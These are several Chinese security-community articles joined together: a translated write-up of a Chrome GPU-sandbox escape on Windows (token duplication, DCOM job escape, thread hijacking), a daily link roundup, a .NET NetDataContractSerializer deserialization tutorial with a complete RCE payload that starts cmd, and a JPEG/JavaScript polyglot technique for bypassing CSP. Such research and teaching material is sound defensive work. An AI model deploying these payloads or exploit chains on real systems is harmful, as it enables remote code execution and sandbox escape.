这个脚本获取了计算机上运行的每个沙箱Chrome进程的句柄，然后使用每个进程中的访问令牌来确定我们可以为`TOKEN_DUPLICATE`访问打开哪些其他的令牌。之所以要检查`TOKEN_DUPLICATE`在新进程中使用的令牌的原因是，由于两个进程不能使用同一访问令牌对象，因此我们需要对令牌进行复制。访问检查需要判断调用进程是否对目标进程具有`PROCESS_QUERY_LIMITED_INFORMATION`访问权限，这是打开令牌的先决条件。我们得到了很多结果，大概超过100个条目。
但是，这个数字是有迷惑性的。一开始，几乎可以确定，我们可以访问的某些令牌在沙箱中的数量要比当前令牌在沙箱中的数量更多。确实，我们只需要未沙箱化的可访问令牌。其次，尽管有许多可访问的令牌，但这很可能是代表着只有少数进程能够访问大量的令牌。为此，我们需要将其过滤为仅可以访问非沙箱标记的Chrome进程的命令行。
PS> $ts | ? Sandbox -ne $true | `
Sort {$_.TokenInfo.ProcessCommandLine} -Unique | `
Select {$_.TokenInfo.ProcessId},{$_.TokenInfo.ProcessCommandLine}
ProcessId ProcessCommandLine
--------- ---------------------------------- 6840 chrome.exe --type=gpu-process ...
13920 chrome.exe --type=utility --service-sandbox-type=audio ...
在所有可能的Chrome进程中，只有GPU进程和Audio
utility进程有权访问非沙箱令牌。这并不意外。渲染器进程比GPU或Audio沙箱具有更多的锁定功能，这是由于调用系统服务以使这些进程正常运行的限制。这确实意味着，由于大多数远程代码执行发生在呈现的HTML或JS内容中，因此大大降低了远程代码执行出现沙箱逃逸的可能性。也就是说，确实存在GPU漏洞，例如Lokihardt曾在Pwn2Own
2016上使用过的一个漏洞。
接下来，让我们集中讨论逃逸GPU进程沙箱。由于我现在没有GPU远程代码执行，因此我将DLL注入到进程中以实现逃逸。这并不像听起来那么简单，一旦GPU进程启动，该进程就被锁定为仅加载Microsoft签名的DLL。我使用了KnownDlls的技巧将DLL加载到内存中。
为了实现沙箱逃逸，我们需要执行以下操作：
1、打开一个不受限制的令牌；
2、复制令牌，以创建新的主令牌，并使令牌可写；
3、删除令牌的IL，以匹配当前令牌（对于GPU来说，这是低IL）；
4、使用新令牌调用`CreateProcessAsUser`；
5、逃逸低IL沙箱。
即使是第一步，我们也存在问题。获取不受限制令牌的最简单方法是为父进程（即主要的Chrome浏览器进程）打开令牌。但是，如果查看令牌列表，我们发现GPU进程可以访问，但其中不包括Chrome主浏览器进程。原因在于，GPU进程沙箱可以打开浏览器进程的令牌。使用这个令牌，可以创建一个新的受限令牌，该令牌将通过同级检查，以创建具有更多访问权限的新进程，并逃逸沙箱。为了缓解这种情况，我修改了对进程令牌的访问权限，以阻止较低IL的进程为`TOKEN_DUPLICATE`访问打开令牌。大家可以关注`HardenTokenIntegerityLevelPolicy`。在进行这一修复之前，我们不需要内核中的漏洞，即可逃逸Chrome
GPU沙箱，至少不需要正常的低级别IL令牌。
因此，我们无法使用简单的方法，但我们应该可以简单地枚举进程，并找到符合标准的一个进程。我们可以通过使用`NtGetNextProcess`系统调用来实现这一点，正如我在上一篇文章中所描述的一样。我们打开所有进程，以进行`PROCESS_QUERY_LIMITED_INFORMATION`访问，然后打开令牌，进行`TOKEN_DUPLICATE`和`TOKEN_QUERY`访问。然后，我们可以检查令牌，以确保其不受限制，然后再继续执行第二步。
要复制令牌，我们可以调用`DuplicateTokenEx`并请求传递`TOKEN_ALL_ACCESS`作为所需访问的主令牌。但是，有一个新问题，当我们尝试降低IL时，会从`SetTokenInformation`中得到`ERROR_ACCESS_DENIED`。这是由于Microsoft在WIndows
10中添加了沙箱缓解措施，并向后移植到了所有受支持的操作系统，包括Windows
7。下面的代码是`NtDuplicateToken`的摘要，其中已经引入了缓解措施：
ObReferenceObjectByHandle(TokenHandle, TOKEN_DUPLICATE,
SeTokenObjectType, &Token, &Info);
DWORD RealDesiredAccess = 0;
if (DesiredAccess) {
SeCaptureSubjectContext(&Subject);
if (RtlIsSandboxedToken(Subject.PrimaryToken)
&& RtlIsSandboxedToken(Subject.ClientToken)) {
BOOLEAN IsRestricted;
SepNewTokenAsRestrictedAsProcessToken(Token,
Subject.PrimaryToken, &IsRestricted);
if (Token == Subject.PrimaryToken || IsRestricted)
RealDesiredAccess = DesiredAccess;
else
RealDesiredAccess = DesiredAccess
& (Info.GrantedAccess | TOKEN_READ | TOKEN_EXECUTE);
}
} else {
RealDesiredAccess = Info.GrantedAccess;
}
SepDuplicateToken(Token, &DuplicatedToken, ...)
ObInsertObject(DuplicatedToken, RealDesiredAccess, &Handle);
当我们复制令牌时，内核会检查调用方是否已经沙箱化。如果将其沙箱化，则内核将检查要复制的令牌的限制是否小于调用方。如果限制较少，则代码会将所需的访问权限限制为`TOKEN_READ`和`TOKEN_EXECUTE`。这意味着，如果我们请求类似于`TOKEN_ADJUST_DEFAULT`这样的写访问权限，它将被从赋值调用返回给我们的句柄删除。反过来，这会阻止我们减少IL，以便可以将其分配给新进程。
这似乎导致我们的漏洞利用链彻底终结。如果我们无法写入令牌，就无法降低令牌的IL，从而无法对其进行分配。但是，这个实现有一个小缺陷，重复操作将会继续完成，并仅返回具有受限访问权限的句柄。当我们创建新的令牌对象时，默认安全性将授予调用方对令牌对象的完全访问权限。这意味着，一旦我们获得了新令牌的句柄，就可以调用普通的`DuplicateHandle`API将其转换为完全可写的句柄。目前我们还不清楚这是不是有意的，但应该注意的是，如果新令牌的限制没那么严格，那么`CreateRestrictedToken`中的类似检查会返回错误。无论如何，我们都可以滥用这个功能，以获得可写的、不受限制的令牌，以将其分配给具有正确IL的新进程。
现在，我们可以获得一个不受限制的令牌，可以调用`CreateProcessAsUser`来创建我们的新进程。但它的速度并不快，因为GPU进程仍然在受限Job对象中运行，这会阻止创建新进程。在将近5年前的一篇名为“In-Console-Able”的文章中，我详细介绍了Job对象如何阻止新进程的创建。我们不能在控制台驱动程序中使用相同的漏洞来逃逸Job对象吗？在Windows
8.1上，我们似乎可以，但是在Windows 10上，有两件事阻止我们对其的利用：
1、Microsoft更改了Job对象以支持辅助进程计数器。如果我们拥有`SeTcbPrivilege`，我们可以将一个标志传递给`NtCreateUserProcess`，以在Job内部创建一个新进程，该进程不计入进程总数。控制台驱动程序使用它来清除了逃逸Job的前置条件。由于我们在沙箱中没有`SeTcbPrivilege`，因此无法使用这个功能。
2、Microsoft为令牌添加了一个新的标志，以防止将其用于新的进程。Chrome会在所有沙箱进程中设置这个标志，以限制新的子进程。即使没有1，该标志也将阻止滥用控制台驱动程序以产生新的进程。
通过将这两个功能块进行组合，我们借助滥用控制台驱动程序的方式，在当前Job之外产生了一个新的进程。我们需要想出一种方式，既可以避免Job对象限制，也可以绕过子进程限制的标志。
Job对象是从父对象继承到子对象的，因此，如果我们可以在Job对象之外找到GPU进程可以控制的基础讷航，则可以将该进程用作新的父对象并逃逸Job。遗憾的是，在默认情况下，如果我们检查GPU进程可以访问哪些进程，会发现它只能自行打开。
PS> Get-AccessibleProcess -ProcessIds 6804 -AccessRights GenericAll `
| Select-Object ProcessId, Name
ProcessId Name
--------- ---- 6804 chrome.exe
打开其自身可能不会很有帮助，但我们不能依靠运气来实现漏洞利用，我们需要尝试别的方式。
我注意到一件事，在一个很小的竞争条件下，设置一个新的Chrome沙箱程序。首先创建进程，然后应用Job对象。如果我们可以让Chrome浏览器生成新的GPU进程，就可以在应用Job对象之前将其用作父进程。GPU进程的处理甚至支持崩溃时重新生成该进程。但是，我们找不到在不导致当前GPU进程终止的情况下，启动新GPU进程的方法，因此无法运行足够长的代码来利用竞争条件。
相反，我决定专注于寻找一个RPC服务，该服务将在Job之外创建一个新进程。有很多RPC服务将进程创建作为主要目标，而其他服务则将进程创建作为一个附加功能。例如，我们以前说过Secondary
Logon服务，其中RPC服务的全部目的是产生新进程。
但是，这个想法有一个小缺陷，令牌中的子进程缓解标志是跨模拟边界继承的。由于通常使用模拟令牌作为新进程的基础，因此任何新的进程都将被阻止。但是，我们有一个未设置标志的非受限令牌，可以使用非受限令牌创建一个可以在RPC调用期间模拟的受限令牌，并且可以绕过子进程缓解标志。
我尝试列出可以通过这种方式利用的已知服务，如下所示：
Secondary Logon Service 不可访问 不可逃逸Job
WMI Win32_Process 不可访问 可以逃逸Job
用户帐户控制（UAC） 可访问 不可逃逸Job
后台智能传输服务（BITS） 不可访问 可以逃逸Job
DCOM Activator 可访问 可以逃逸Job
上表并不全面，可能还会有其他RPC服务允许创建进程。但是，正如我们在上面所看到的那样，我们无法从沙箱级别访问这些派生出Secondary
Logon、WMI、BITS的已知RPC服务。UAC服务是可以访问的，存在一种通过滥用调试对象来滥用服务，以运行任意特权代码的方法。但遗憾的是，当创建一个新的UAC进程时，该服务会将父进程设置为调用方进程。继承Job对象后，新进程将会被阻止。
列表中的最后一个服务是DCOM
Activator，该系统服务负责启动进程外COM服务器，可以从我们的沙箱级别访问该服务。它还将所有COM服务器作为服务进程的子级启动，这意味着Job对象不会被继承。看起来很理想，但还存在一个小问题，为了使DCOM
Activator有效，我们需要沙箱可以创建的进程外COM服务器。该对象必须满足以下条件：
1、服务器的Launch Security授予沙箱本地激活权限；
2、服务器不能以交互用户身份运行（该用户会从沙箱中派生），也不能在服务进程中运行；
3、服务器可执行文件必须可以访问受限令牌。
在这里，我们不需要担心第3条，GPU进程可以访问系统可执行文件，因此我们使用预先安装的COM服务器。创建后，是否无法访问COM服务器也并不重要，我们所需要的只是在Job外部启动COM服务器进程的权限，然后就可以实现劫持。我们可以使用`OleViewDotNet`和`Select-ComAccess`命令，找到可访问的COM服务器。
PS> Get-ComDatabase -SetCurrent
PS> Get-ComClass -ServerType LocalServer32 | `
Where-Object RunAs -eq "" | `
Where-Object {$_.AppIdEntry.ServiceName -eq ""} | `
Select-ComAccess -ProcessId 6804 `
-LaunchAccess ActivateLocal -Access 0 | `
Select-Object Clsid, DefaultServerName
Clsid DefaultServerName
----- ----------------- 3d5fea35-6973-4d5b-9937-dd8e53482a56 coredpussvr.exe
417976b7-917d-4f1e-8f14-c18fccb0b3a8 coredpussvr.exe
46cb32fa-b5ca-8a3a-62ca-a7023c0496c5 ieframe.dll
4b360c3c-d284-4384-abcc-ef133e1445da ieframe.dll
5bbd58bb-993e-4c17-8af6-3af8e908fca8 ieproxy.dll
d63c23c5-53e6-48d5-adda-a385b6bb9c7b ieframe.dll
在Windows 10的默认安装中，我们有6个备选的软件。请注意，其中4个都在DLL中，但是这些类已经注册为在DLL
Surrogate中运行，因此仍然可以在进程外使用。我们决定选择COREDPUSSVR中的服务器，因为它是唯一的可执行文件，而不是通用的DLLHOST，因此更易于查找。这个COM服务器的启动安全性授予每个人和所有AppContainer程序包本地激活权限，如下所示：
顺便提一句，即使为`COREDPUSSVR`注册了两个类，这个可执行文件实际上也只注册了一个以`417976b7`开头的类。创建另一个类，将启动服务器可执行文件，但是类的创建将会挂起，以等待一个永远不会出现的类。
要启动服务器，我们需要在模拟子进程无标志受限令牌的同时调用`CoCreateInstance`。我们还需要传递`CLSCTX_ENABLE_CLOAKING`，以模拟令牌激活服务器，默认值将使用已设置子进程缓解标志的进程令牌，因此将会阻止进程的创建。这样一来，我们就可以发现一个`COREDPUSSVR`实例在相同的沙箱级别运行，但是在Job对象之外，并且也没有子进程的缓解。我们似乎接近成功了。
但是，还没有那么快。通常，新进程的默认安全性基于用于创建新进程的访问令牌中的默认DACL。但遗憾的是，由于某些未知原因，DCOM
Activator在进程上设置了一个明确的DACL，它仅授予对用户、SYSTEM和当前登录SID的访问权限。即使GPU进程实际上以相同的安全级别运行，也不允许GPU进程打开新的COM服务器进程。我们如此接近成功，但又离成功如此遥远。我尝试了几种方法在COM服务器内部执行代码，例如Windows
Hooks，但没有效果。
幸运的是，进程启动后创建的所有线程仍然将使用默认的DACL。我们可以打开其中一个线程，进行完全访问，并使用`SetThreadContext`更改线程上下文以重定向执行。我们需要对这些新线程的线程ID进行暴力破解，因为进一步的沙箱缓解措施将阻止我们使用`CreateToolhelp32Snapshot`来枚举无法直接打开的进程，而`NtGetNextThread`需要我们现在还没有的父进程句柄。
滥用线程会非常痛苦，特别是在我们没有办法直接将任何内容写入进程的时候，但这至少可以有效。为了简便起见，我决定调用WinExec，它将生成一个新进程，并且只需要执行命令行即可。新进程将具有基于默认DACL的安全性，因此我们可以将其打开。
我可以选择其他类似`LoadLibrary`的方式来加载DLL。但是，在比较混乱的线程上下文中，这可能会导致进程崩溃。我认为，最好的方法是尽快逃逸这个进程，以避免这种情况。
那么，用什么作为WinExec的命令行呢？我们无法在COM服务器进程中直接写入或分配内存，但是我们可以轻松地重新利用二进制文件中现有的字符串来执行。为了避免寻找字符串地址或处理ASLR，我们选择在DLL的开头使用PE签名，该签名为我们提供了字符串“PE”。当传递给WinExec时，当前的PATH环境变量将会用于查找要启动的可执行文件。我们可以将PATH设置为COM服务器中所需的任何内容，因为当以相同的安全级别启动进程时，DCOM
Activator将使用调用方的环境。我们唯一要做的就是找到一个可以写入的目录，这次我们可以使用`Get-AccessibleFile`找到一个候选对象，如下所示。
PS> Get-AccessibleFile -Win32Path "C:" -Recurse -ProcessIds 6804 `
-DirectoryAccessRights AddFile -CheckMode DirectoriesOnly `
-FormatWin32Path | Select-Object Name
Name
---- C:ProgramDataMicrosoftDeviceSync
通过设置PATH环境变量，在其中包含`DeviceSync`路径，并将名为PE.exe的可执行文件复制到该目录，我们可以设置线程上下文，并生成一个新的进程，该进程不在Job对象中，并且可以由GPU进程打开。
现在，我们可以利用内核漏洞，以低IL运行不受限制的令牌，从新的进程中调用`CreateProcessAsUser`。这样一来，将会删除所有除低级别IL以外的沙箱。最后一步，就是突破低IL。也有很多方法可以做到这一点，但我选择了滥用UAC服务。通过滥用相同的令牌访问权限，我们得以在利用链中滥用权限，打开不受限制的令牌，从而获得UI访问权限。这样一来，我们可以自动化特权用户界面，以在低级别沙箱外部执行任意代码。这不一定有效，但可以尝试。
最终，我们总结的利用链如下：
1、打开一个不受限制的令牌。
a、暴力破解进程，直到找到合适的进程令牌。
2、复制令牌，以创建新的主令牌，并使令牌可写。
a、重复令牌为只读；
b、复制句柄，以获得写访问权限。
3、投放令牌的IL，以匹配当前令牌。
4、使用新令牌调用`CreateProcessAsUser`。
a、创建一个新的受限令牌，以删除子进程缓解标志。
b、将环境块的PATH设置为包含`DeviceSync`的文件夹，然后投放PE.exe文件。
c、模拟受限令牌，并创建OOP COM服务器。
d、暴力破解COM服务器进程中的线程ID。
e、修改线程上下文，以调用WinExec，在内存中传递已知PE签名的地址。
f、等待创建PE进程。
5、逃逸低IL沙箱。
a、生成屏幕键盘的副本，并打开其令牌。
b、根据打开的令牌，创建具有UI访问权限的新进程。
c、自动运行对话框，以退出低IL沙箱。
或者，以图表形式表示如下：
## 总结
我希望通过这篇文章，能让大家熟悉Windows内核中的一个微小更改是如何严重影响沙箱环境安全性的。此外，还演示了缓解沙箱行为的漏洞利用的价值。因为缓解措施的存在，很多时候都让漏洞利用过程不再那么便捷。
研究引入漏洞的场景和过程会非常有趣。我们推断，也许是有人在更新代码的过程中，认为这是一个Bug，并且对其进行了“修复”。或者，是随着时间的推移才失去了单线的安全性。无论如何，这并不是有意的调整，而且也在现在提供了修复的方案。
由于操作系统中的一些“特性”，即使漏洞利用方法需要花费很多精力才能发现，但通常也可以通过一些缓解措施来达成目标。这些功能本身并非安全问题，但对于构建漏洞利用链来说非常有帮助。 | 社区文章 |
# 【知识】9月5日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：海莲花团伙的活动新趋势、无弹窗渗透测试实验、如何构建自己的渗透测试实验环境、SDN渗透测试实践、Radium-Keylogger：基于Python的多功能键盘记录器、监控Windows控制台活动、FFMPEG任意文件读取漏洞靶场搭建过程**
**资讯类：**
中国黑客组织DragonOK被指采用新的传播技术
<http://www.securityweek.com/china-linked-khrat-operators-adopt-new-delivery-techniques>
**技术类：**
****
海莲花团伙的活动新趋势
<http://bobao.360.cn/learning/detail/4353.html>
无弹窗渗透测试实验
<https://xianzhi.aliyun.com/forum/read/2061.html>
WMI探索
<http://community.idera.com/powershell/powertips/b/tips/posts/explore-wmi>
如何构建自己的渗透测试实验环境
<https://www.deepdotweb.com/2017/09/04/setup-pentest-lab>
SDN渗透测试实践
<http://nss.kaist.ac.kr/?page_id=50>
<http://www.kitploit.com/2017/09/sdnpwn-sdn-penetration-testing-toolkit.html>
VulnHub Boot2Root/CTF – Samba 2.2.x RCE
<https://www.jimwilbur.com/2017/09/kioptrix-level-1-walkthrough-vulnhub/>
KCon 2017 PPT（部分议题）
<https://github.com/knownsec/KCon/tree/master/2017>
基于Web的OSINT和主动侦察工具包
<https://github.com/ex0dus-0x/D0xk1t>
Radium-Keylogger：基于Python的多功能键盘记录器
<https://github.com/mehulj94/Radium-Keylogger>
监控Windows控制台活动
<https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-one.html>
<https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-two.html>
Open-Source DFIR Made Easy: The Setup
<http://cyberforensicator.com/2017/09/04/open-source-dfir-made-easy-the-setup/>
A journey into Radare 2 – Part 2: Exploitation
<https://www.megabeets.net/a-journey-into-radare-2-part-2/>
Injecting missing methods at runtime
<https://www.hopperapp.com/blog/?p=219>
OSCE/CTP Prep Guide
<http://paper.li/lamehacker/1348215575?read=https%3A%2F%2Ftulpa%2Dsecurity.com%2F2017%2F07%2F18%2F288%2F>
Tokyo Westerns CTF 2017 writeup
<https://github.com/scwuaptx/CTF/tree/master/2017-writeup/twctf>
DLL Injection with SetThreadContext
<https://blogs.microsoft.co.il/pavely/2017/09/05/dll-injection-with-setthreadcontext/>
FFMPEG任意文件读取漏洞靶场搭建过程
<http://www.4hou.com/vulnerable/7538.html>
从MS08-067到永恒之蓝
<https://www.youtube.com/watch?v=LZ_G6RdqrHA> | 社区文章 |
# .NET高级代码审计（第七课） NetDataContractSerializer反序列化漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Ivan1ee@360云影实验室
## 0x00 前言
NetDataContractSerializer和DataContractSerializer一样用于序列化和反序列化Windows
Communication Foundation (WCF) 消息中发送的数据。两者
之间存在一个重要区别：NetDataContractSerializer 包含了CLR，通过CLR类型添加额外信息并保存引用来支持类型精确，而
DataContractSerializer 则不包含。 因此，只有在序列化和反序列化端使用相同的 CLR 类型时，才能使用
NetDataContractSerializer。若要序列化对象使用 WriteObject或者Serialize方法， 若要反序列化 XML流使用
ReadObject或者Deserialize方法。在某些场景下读取了恶意的XML流就会造成反序列化漏洞，从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现。
## 0x01 NetDataContractSerializer序列化
使用WriteObject或者Serialize可以非常方便的实现.NET对象与XML数据之间的转化，注意NetDataContractSerializer包含了程序集的名字和被序列化类型的类型。这些额外信息可以用来将XML反序列化成特殊类型，允许相同类型可以在客户端和服务端同时使用。另外的信息是z:Id
属性在不同的元素上意义是不同的。这个用来处理引用类型以及当XML被反序列化时是否引用可以保留，最后的结论是这个输出相比DataContractSerializer的输出包含了更多信息。下面通过一个实例来说明问题，首先定义TestClass对象
定义了三个成员，并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值
笔者使用Serialize得到序列化TestClass类后的xml数据
<TestClass z:Id="1" z:Type="WpfApp1.TestClass" z:Assembly="WpfApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" xmlns="http://schemas.datacontract.org/2004/07/WpfApp1" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><age>18</age><classname z:Id="2">360</classname><name z:Id="3">Ivan1ee</name></TestClass>
## 0x02 NetDataContractSerializer反序列化
### 2.1、反序列化用法
NetDataContractSerializer类反序列过程是将XML流转换为对象，通过创建一个新对象的方式调用ReadObject多个重载方法或Serialize方法实现的，查看定义得知继承自XmlObjectSerializer抽象类、IFormatter接口，
NetDataContractSerializer类实现了XmlObjectSerializer抽象类中的WriteObject、ReadObject方法，也实现了IFormatter中定义的方法。笔者通过创建新对象的方式调用Deserialize方法实现的具体实现代码可参考以下
其实在Deserialize方法内也是调用了ReadObject方法反序列化的
反序列化后得到对象的属性，打印输出当前成员Name的值。
### 2.2、攻击向量—MulticastDelegate
多路广播委托（MulticastDelegate）继承自
Delegate，其调用列表中可以拥有多个元素的委托，实际上所有委托类型都派生自MulticastDelegate。MulticastDelegate类的_invocationList字段在构造委托链时会引用委托数组，但为了取得对委托链更多的控制就得使用GetInvocationList方法，它是具有一个带有链接的委托列表，在对委托实例进行调用的时候，将按列表中的委托顺序进行同步调用，那么如何将calc.exe添加到GetInvocationList列表方法？首先先看Comparison<T>类，它用于位于命令空间System.Collections.Generic，定义如下
Comparison类返回委托，再使用Delegate或者MulticastDelegate类的公共静态方法Combine将委托添加到链中作为Comparison的类型比较器
使用Comparer<T>的静态方法Create创建比较器，比较器对象在.NET集合类中使用的频率较多，也具备了定制的反序列化功能，这里选择SortedSet<T>类，在反序列化的时内部Comparer对象重构了集合的排序。
多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组，让它的每个元素都引用链中的一个委托，然后返回对该数组的引用，下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。
最后传入攻击载荷后得到完整序列化后的poc，如下
## 0x03 代码审计视角
### 3.1、Deserialize
从代码审计的角度只需找到可控的Path路径就可以被反序列化，例如以下场景：
### 3.2、ReadObject
上面两种方式都是很常见的，需要重点关注。
## 0x04 案例复盘
1. 代码中实现读取本地文件内容
2. 传递poc xml，弹出计算器网页返回200
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Start</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName><a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""><string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">/c calc.exe</string><string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">cmd</string></Items></ArrayOfstring>
最后配上动态图演示↓↓↓
## 0x05 总结
NetDataContractSerializer序列化功能输出的信息更多，因为性能等原因不及DataContractSerializer，所以在WCF开发中用的场景并不太多，但是因为它无需传入类型解析器所以相对来说更容易触发反序列化漏洞。最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/> 、<https://ivan1ee.gitbook.io/>
，后续笔者将陆续推出高质量的.NET反序列化漏洞文章，欢迎大伙持续关注，交流，更多的.NET安全和技巧可关注实验室公众号。 | 社区文章 |
原文链接：http://blog.portswigger.net/2016/12/bypassing-csp-using-polyglot-jpegs.html
原作者： **Gareth Heyes**
译： **Holic (知道创宇404安全实验室)**
[James](http://twitter.com/albinowax) 曾请我看看是否能创建一个多语言的 JavaScript/JPEG （注：此处即将
JPEG 当做 JS 执行）。这么做的话，我将可以通过在同一域名用户可上传的图片，来绕过 CSP
的保护。我欣然接受挑战，然后开始剖析图片格式。前四个字节是非 ASCII 的 JavaScript 变量 `0xFF 0xD8 0xFF 0xE0`
。然后，接下来的两个字节指定了 JPEG 头部的长度。如果我们使用字节 `0x2F 2A`设置文件头的长度为 `0x2F2A`，你会猜到，我们有一个非
ASCII 字符的变量，后面更早多行 JavaScript 注释。然后，我们必须将 JPEG 头填充为 0x2F2A 长度的 null。它看起来是这样的：
FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 48 00 00 00 00 00 00 00 00 00 00...
在 JPEG 注释中，我们可以闭合 JavaScript 注释，并在 payload 后面为我们的非 ASCII 字符的 JavaScript
变量赋初值，随后在 JPEG 注释的末尾创建另一个多行注释。
FF FE 00 1C 2A 2F 3D 61 6C 65 72 74 28 22 42 75 72 70 20 72 6F 63 6B 73 2E 22 29 3B 2F 2A
`0xFF` `0xFE` 是注释头的长度，`0x00` `0x1C` 指定了注释的长度，其余的便是我们的 JavaScript payload，当然此处为
`*/=alert("Burp rocks.")/*`
接下来需要闭合 JavaScript 注释，我在图像结束标记之前编辑了图片数据的最后四个字节。文件的结尾看起来是这样子的：
2A 2F 2F 2F FF D9
`0xFF 0xD9`是图片结束的标志。很好，我们的多语义 JPEG 就有了，不过这还不够。如果你不指定字符编码，这很有效，但是 FireFox 使用
UTF-8 作为文档编码，包含脚本代码的时候，它破坏了其多语义性。在 MDN 里，它没有说明脚本支持 charset
属性，但实际上是支持的。所有要让脚本正常运行，你需要在 script 标签里指定 ISO-8859-1 编码，这就能运行良好了。
值得注意的是，多语义的 JPEG 可以在 Safari，Firefox，Edge 和 IE 11 上使用。Chrome 机智地没有将图像作为
JavaScript 执行。
多语义 JPEG PoC 在此：
[Polyglot JPEG ](http://portswigger-labs.net/polyglot/jpeg/xss.jpg)
将图像作为 JavaScript 执行的代码如下：
<script charset="ISO-8859-1" src="http://portswigger-labs.net/polyglot/jpeg/xss.jpg"></script>
### 文件大小的限制
我试着将这张图片作为 phpBB 个人资料照片上传，但是文件大小限制为 6k，最大的尺寸为 90x90。我通过裁剪缩小了 logo 的大小，并考虑减少
JPEG 数据的方法。在 JPEG 文件头中，我使用 /* （对应十六进制 0x2F 和 0x2A，合成 0x2F2A）造成了 12074
的长度，这需要大量填充，将导致图形太大无法作为配置文件的长度。查阅 ASCII 表，我试着找出一个字符组合，这将会是有效的 JavaScript 并减少
JPEG 头中的填充量，同时还会被识别为有效的 JPEG 文件。
我可以找到的最小的起始字节便是 0x9（制表符），后面跟着 0x3A（冒号），这最后组合成十六进制 0x093A
（2362），为我们的文件节省了不少字节，并创建了一个有效的非 ASCII JavaScript 标签语句，后面便是 JFIF 标识符的变量。然后，我将斜杠
0x2F 而不是 NULL 放在 JFIF 标识符的结尾，将星号放在对应版本号的位置。十六进制是这样的：
FF D8 FF E0 09 3A 4A 46 49 46 2F 2A
现在我们继续用 NULL 注入其余的 JPEG 头，并注入 JavaScript payload：
FF D8 FF E0 09 3A 4A 46 49 46 2F 2A 01 01 00 48 00 48 00 00 00 00 00 00 00 ... (padding more nulls) 2A 2F 3D 61 6C 65 72 74 28 22 42 75 72 70 20 72 6F 63 6B 73 2E 22 29 3B 2F 2A
